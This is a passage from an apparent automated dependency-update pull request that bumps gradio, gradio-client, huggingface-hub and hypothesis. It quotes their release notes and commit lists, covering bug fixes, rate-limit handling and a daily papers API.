href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12477\"\u003e#12477\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/07fa4949fa5b806732eb429f732037615f9f546e\"\u003e\u003ccode\u003e07fa494\u003c/code\u003e\u003c/a\u003e - Checkbox Label Fix.  Thanks \u003ca href=\"https://github.com/dawoodkhan82\"\u003e\u003ccode\u003e@​dawoodkhan82\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.0.1\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12445\"\u003e#12445\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/0f2fa10887b5c2f7fe4a4080e8bcf7d91669a163\"\u003e\u003ccode\u003e0f2fa10\u003c/code\u003e\u003c/a\u003e - chore(deps): ⬆️ update pillow from 11.1.0 to 12.0.  Thanks \u003ca href=\"https://github.com/onuralpszr\"\u003e\u003ccode\u003e@​onuralpszr\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12446\"\u003e#12446\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/96efaabb38a5b48c26011560634189388e83181a\"\u003e\u003ccode\u003e96efaab\u003c/code\u003e\u003c/a\u003e - Update gradio_client version to 2.0.0.  Thanks \u003ca href=\"https://github.com/abidlabs\"\u003e\u003ccode\u003e@​abidlabs\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12460\"\u003e#12460\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/f9e272dc120bb8f8f9f5fb2bd9f0a4eac0563d6e\"\u003e\u003ccode\u003ef9e272d\u003c/code\u003e\u003c/a\u003e - Fix bug where close method does not kill the thread.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12416\"\u003e#12416\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/7e867fde9070849fb474a08544c72f2522a9cbe9\"\u003e\u003ccode\u003e7e867fd\u003c/code\u003e\u003c/a\u003e - Fix custom components for gradio 6.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12461\"\u003e#12461\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/9a86e8064787029bc20b086c6f3191879f786e0f\"\u003e\u003ccode\u003e9a86e80\u003c/code\u003e\u003c/a\u003e - Fix Login Gradio 6.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12473\"\u003e#12473\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/f42628d35c5597d83c57980d559f1daf7805b153\"\u003e\u003ccode\u003ef42628d\u003c/code\u003e\u003c/a\u003e - Allow new custom components to use Gradio 6.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.0.0-dev.5\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12371\"\u003e#12371\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/9e8a313b94259354da649310125d0142bb953fad\"\u003e\u003ccode\u003e9e8a313\u003c/code\u003e\u003c/a\u003e - Fix Walkthrough component.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12393\"\u003e#12393\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/02ce6d5b768ddf68241bee92e11a166e97fd9b2d\"\u003e\u003ccode\u003e02ce6d5\u003c/code\u003e\u003c/a\u003e - Remove SSE transport from MCP docs.  Thanks \u003ca href=\"https://github.com/abidlabs\"\u003e\u003ccode\u003e@​abidlabs\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12383\"\u003e#12383\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/650576399bad10f03aaa03dd9437f03b47ba378b\"\u003e\u003ccode\u003e6505763\u003c/code\u003e\u003c/a\u003e - Fix Reload Mode in 6.0.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12358\"\u003e#12358\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/4552df4e3698b39c58fc86d3023e434db6aeec1e\"\u003e\u003ccode\u003e4552df4\u003c/code\u003e\u003c/a\u003e - Fix status tracker iterative image.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12374\"\u003e#12374\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/c72972e7c38d4a3511978c412759b9ac34bffcc4\"\u003e\u003ccode\u003ec72972e\u003c/code\u003e\u003c/a\u003e - Ensure \u003ccode\u003eshow_error\u003c/code\u003e is always respected.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12372\"\u003e#12372\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/a8c26e406aa82e6e30f1556e62e54f99f64668bd\"\u003e\u003ccode\u003ea8c26e4\u003c/code\u003e\u003c/a\u003e - Fix Chatbot autoscroll.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12377\"\u003e#12377\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/568644a88c4dbe1b6ad9468906b1e45ed07657f3\"\u003e\u003ccode\u003e568644a\u003c/code\u003e\u003c/a\u003e - Add a 6.0 migration guide and add deprecation warnings.  Thanks \u003ca href=\"https://github.com/abidlabs\"\u003e\u003ccode\u003e@​abidlabs\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12381\"\u003e#12381\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/36d5657128a81739a78d6b11b3f5a632a9027ab1\"\u003e\u003ccode\u003e36d5657\u003c/code\u003e\u003c/a\u003e - Fix full width toast issue.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/11821\"\u003e#11821\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/9ea6686924278f4e5b562c33059931f309c92c93\"\u003e\u003ccode\u003e9ea6686\u003c/code\u003e\u003c/a\u003e - Spaces hot reloading.  Thanks \u003ca href=\"https://github.com/cbensimon\"\u003e\u003ccode\u003e@​cbensimon\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12389\"\u003e#12389\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/61e5aeb4fe539e51fe07777750ee222444801829\"\u003e\u003ccode\u003e61e5aeb\u003c/code\u003e\u003c/a\u003e - Download frontend templates for custom components.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12373\"\u003e#12373\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/017eaf0a9a783d0f9f2fbf7fe2e30c855c9dd9cd\"\u003e\u003ccode\u003e017eaf0\u003c/code\u003e\u003c/a\u003e - Fix audio errors when streaming.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12391\"\u003e#12391\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/5ba7e1e7d502017551c5899db175bcc9c6fb5eaa\"\u003e\u003ccode\u003e5ba7e1e\u003c/code\u003e\u003c/a\u003e - Reduce files in build.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12398\"\u003e#12398\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/04e258106f6f6a07facbacd9f43a307fc0cb64c9\"\u003e\u003ccode\u003e04e2581\u003c/code\u003e\u003c/a\u003e - fix publish.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12375\"\u003e#12375\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/2043967b958be9d51c4ee25272afa84bf0dbea08\"\u003e\u003ccode\u003e2043967\u003c/code\u003e\u003c/a\u003e - fix font.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12370\"\u003e#12370\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/f632b87f83ff283817e21ce679b70d2406074ea2\"\u003e\u003ccode\u003ef632b87\u003c/code\u003e\u003c/a\u003e - Fix progress in StatusTracker.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12363\"\u003e#12363\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/4845bfdab53096a609d80485e87d5cc70f3f0521\"\u003e\u003ccode\u003e4845bfd\u003c/code\u003e\u003c/a\u003e - Fix queue false render issue.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/gradio-app/gradio/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `gradio-client` from 1.13.3 to 1.14.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gradio-app/gradio/releases\"\u003egradio-client's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​gradio/model3d\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.15.1\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/11908\"\u003e#11908\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/029034f7853ea018d110efe9b7e2ef7d1407091c\"\u003e\u003ccode\u003e029034f\u003c/code\u003e\u003c/a\u003e - Clear Error statuses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12438\"\u003e#12438\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/25ffc0398f8feb43d817c02b2ab970c16de6d797\"\u003e\u003ccode\u003e25ffc03\u003c/code\u003e\u003c/a\u003e - Svelte5 migration and bugfix\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/atoms\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.19.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/client\u003c/code\u003e\u003ca href=\"https://github.com/2\"\u003e\u003ccode\u003e@​2\u003c/code\u003e\u003c/a\u003e.0.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/icons\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.15.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/statustracker\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.12.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/upload\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.17.2\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/utils\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.10.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​gradio/model3d\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.15.1-dev.0\u003c/h2\u003e\n\u003ch3\u003eDependency updates\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/upload\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.17.2-dev.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/client\u003c/code\u003e\u003ca href=\"https://github.com/2\"\u003e\u003ccode\u003e@​2\u003c/code\u003e\u003c/a\u003e.0.0-dev.0\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/gradio-app/gradio/commits/@gradio/client@1.14.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `huggingface-hub` from 1.1.4 to 1.2.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/huggingface/huggingface_hub/releases\"\u003ehuggingface-hub's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.2.1: Smarter Rate Limit Handling, Daily Papers API and more QoL improvements!\u003c/h2\u003e\n\u003ch2\u003e🚦 Smarter Rate Limit Handling\u003c/h2\u003e\n\u003cp\u003eWe've improved how the \u003ccode\u003ehuggingface_hub\u003c/code\u003e library handles rate limits from the Hub. When you hit a rate limit, you'll now see clear, actionable error messages telling you exactly how long to wait and how many requests you have left.\u003c/p\u003e\n\u003cpre lang=\"console\"\u003e\u003ccode\u003eHfHubHTTPError: 429 Too Many Requests for url: https://huggingface.co/api/models/username/reponame.\nRetry after 55 seconds (0/2500 requests remaining in current 300s window).\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWhen a 429 error occurs, the SDK automatically parses the \u003ccode\u003eRateLimit\u003c/code\u003e header to extract the exact number of seconds until the rate limit resets, then waits precisely that duration before retrying. This applies to file downloads (i.e. Resolvers), uploads, and paginated Hub API calls (\u003ccode\u003elist_models\u003c/code\u003e, \u003ccode\u003elist_datasets\u003c/code\u003e, \u003ccode\u003elist_spaces\u003c/code\u003e, etc.).\u003c/p\u003e\n\u003cp\u003eMore info about Hub rate limits in the docs 👉 \u003ca href=\"https://huggingface.co/docs/hub/rate-limits#hub-rate-limits\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003eParse rate limit headers for better 429 error messages by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3570\"\u003e#3570\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUse rate limit headers for smarter retry in http backoff by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3577\"\u003e#3577\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHarmonize retry behavior for metadata fetch and \u003ccode\u003eHfFileSystem\u003c/code\u003e by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3583\"\u003e#3583\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd retry for preupload endpoint by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3588\"\u003e#3588\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUse default retry values in pagination by \u003ca href=\"https://github.com/hanouticelina\"\u003e\u003ccode\u003e@​hanouticelina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3587\"\u003e#3587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003ch2\u003e✨ HF API\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eDaily Papers endpoint\u003c/strong\u003e: You can now programmatically access Hugging Face's daily papers feed. You can filter by week, month, or submitter, and sort by publication date or trending.\u003c/p\u003e\n\u003cpre lang=\"python\"\u003e\u003ccode\u003efrom huggingface_hub import list_daily_papers\n\u003cp\u003efor paper in list_daily_papers(date=\u0026quot;2025-12-03\u0026quot;):\u003cbr /\u003e\nprint(paper.title)\u003c/p\u003e\n\u003ch1\u003eDeepSeek-V3.2: Pushing the Frontier of Open Large Language Models\u003c/h1\u003e\n\u003ch1\u003eToolOrchestra: Elevating Intelligence via Efficient Model and Tool Orchestration\u003c/h1\u003e\n\u003ch1\u003eMultiShotMaster: A Controllable Multi-Shot Video Generation Framework\u003c/h1\u003e\n\u003ch1\u003eDeep Research: A Systematic Survey\u003c/h1\u003e\n\u003ch1\u003eMG-Nav: Dual-Scale Visual Navigation via Sparse Spatial Memory\u003c/h1\u003e\n\u003cp\u003e...\u003cbr /\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAdd daily papers endpoint by \u003ca href=\"https://github.com/BastienGimbert\"\u003e\u003ccode\u003e@​BastienGimbert\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3502\"\u003e#3502\u003c/a\u003e\nAdd more parameters to daily papers by \u003ca href=\"https://github.com/Samoed\"\u003e\u003ccode\u003e@​Samoed\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3585\"\u003e#3585\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cstrong\u003eOffline mode helper\u003c/strong\u003e: we recommend using \u003ccode\u003ehuggingface_hub.is_offline_mode()\u003c/code\u003e to check whether offline mode is enabled instead of checking \u003ccode\u003eHF_HUB_OFFLINE\u003c/code\u003e directly.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAdd \u003ccode\u003eoffline_mode\u003c/code\u003e helper by \u003ca href=\"https://github.com/Wauplin\"\u003e\u003ccode\u003e@​Wauplin\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3593\"\u003e#3593\u003c/a\u003e\nRename utility to \u003ccode\u003eis_offline_mode\u003c/code\u003e by \u003ca href=\"https://github.com/Wauplin\"\u003e\u003ccode\u003e@​Wauplin\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3598\"\u003e#3598\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cstrong\u003eInference Endpoints:\u003c/strong\u003e You can now configure scaling metrics and thresholds when deploying endpoints.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003efeat(endpoints): scaling metric and threshold by \u003ca href=\"https://github.com/oOraph\"\u003e\u003ccode\u003e@​oOraph\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3525\"\u003e#3525\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/d0bc91403e88be8c1cceab7111c2198ade134d2c\"\u003e\u003ccode\u003ed0bc914\u003c/code\u003e\u003c/a\u003e Release: v1.2.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/59dd9f5dbb7d4b091a9184a22b136e2045465ec7\"\u003e\u003ccode\u003e59dd9f5\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into v1.2-release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/5ad0254ce2ae8491b14f4c0bce132ad1c94a1151\"\u003e\u003ccode\u003e5ad0254\u003c/code\u003e\u003c/a\u003e Rename utility to is_offline_mode (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3598\"\u003e#3598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/231c4cca972ac660c0402b6f4e894ea13d41ae29\"\u003e\u003ccode\u003e231c4cc\u003c/code\u003e\u003c/a\u003e Release: v1.2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/dc6e7bea51dc13449caa4f451887a2c0162e2f93\"\u003e\u003ccode\u003edc6e7be\u003c/code\u003e\u003c/a\u003e Release: v1.2.0.rc0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/d31c68d84b1e0a1e7a102cdb7a6330444759d2d3\"\u003e\u003ccode\u003ed31c68d\u003c/code\u003e\u003c/a\u003e use constants.HF_HUB_ETAG_TIMEOUT as timeout for get_hf_file_meta… (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3595\"\u003e#3595\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/a6a23ac8c8950253861573f4adc6ded1d64e55f6\"\u003e\u003ccode\u003ea6a23ac\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eoffline_mode\u003c/code\u003e helper (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3593\"\u003e#3593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/6a8a871c4be7d7f11875bc87270d2d6e315a9d4d\"\u003e\u003ccode\u003e6a8a871\u003c/code\u003e\u003c/a\u003e Just print server warning without hardcoded client-side addition (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3592\"\u003e#3592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/2261b8ed0ce46eeb4cddb1b56e96f18c0760dfd5\"\u003e\u003ccode\u003e2261b8e\u003c/code\u003e\u003c/a\u003e fix: correct \u003ccode\u003ehf login\u003c/code\u003e example to \u003ccode\u003ehf auth login\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3590\"\u003e#3590\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/huggingface/huggingface_hub/commit/96fcc54149bfb93f00b8305801bf0625c14f651b\"\u003e\u003ccode\u003e96fcc54\u003c/code\u003e\u003c/a\u003e Warn on server warning 'X-HF-Warning' (\u003ca href=\"https://redirect.github.com/huggingface/huggingface_hub/issues/3589\"\u003e#3589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/huggingface/huggingface_hub/compare/v1.1.4...v1.2.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `hypothesis` from 6.148.1 to 6.148.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/HypothesisWorks/hypothesis/releases\"\u003ehypothesis's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.7\u003c/h2\u003e\n\u003cp\u003eWhen multiple explicit \u0026quot;\u003ca href=\"https://github.com/example\"\u003e\u003ccode\u003e@​example\u003c/code\u003e\u003c/a\u003e\u0026quot; decorators fail with the same error,\nHypothesis now shows only the simplest failing example (by shortlex\norder) with a note about how many other examples also failed (issue\n\u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4520\"\u003e#4520\u003c/a\u003e).\u003c/p\u003e\n\u003cp\u003eTo see all failing examples, use \u0026quot;Verbosity.verbose\u0026quot; or higher.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-7\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.6\u003c/h2\u003e\n\u003cp\u003eFix a bug where we persisted symbolics from solver-based alternative\nbackends in \u0026quot;event()\u0026quot;.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-6\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.5\u003c/h2\u003e\n\u003cp\u003eThis patch improves the error message for \u0026quot;FlakyStrategyDefinition\u0026quot;\nwhen the precondition for a rule is flaky (issue \u003ca href=\"https://redirect.github.com/HypothesisWorks/hypothesis/issues/4206\"\u003e#4206\u003c/a\u003e).\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://hypothesis.readthedocs.io/en/latest/changelog.html#v6-148-5\"\u003eThe canonical version of these notes (with links) is on readthedocs.\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003ch2\u003eHypothesis for Python - version 6.148.4\u003c/h2\u003e\n\u003cp\u003eThis patch improves the type annotations for \u0026quot;basic_indices()\u0026quot;. The\nreturn type now accurately reflects the 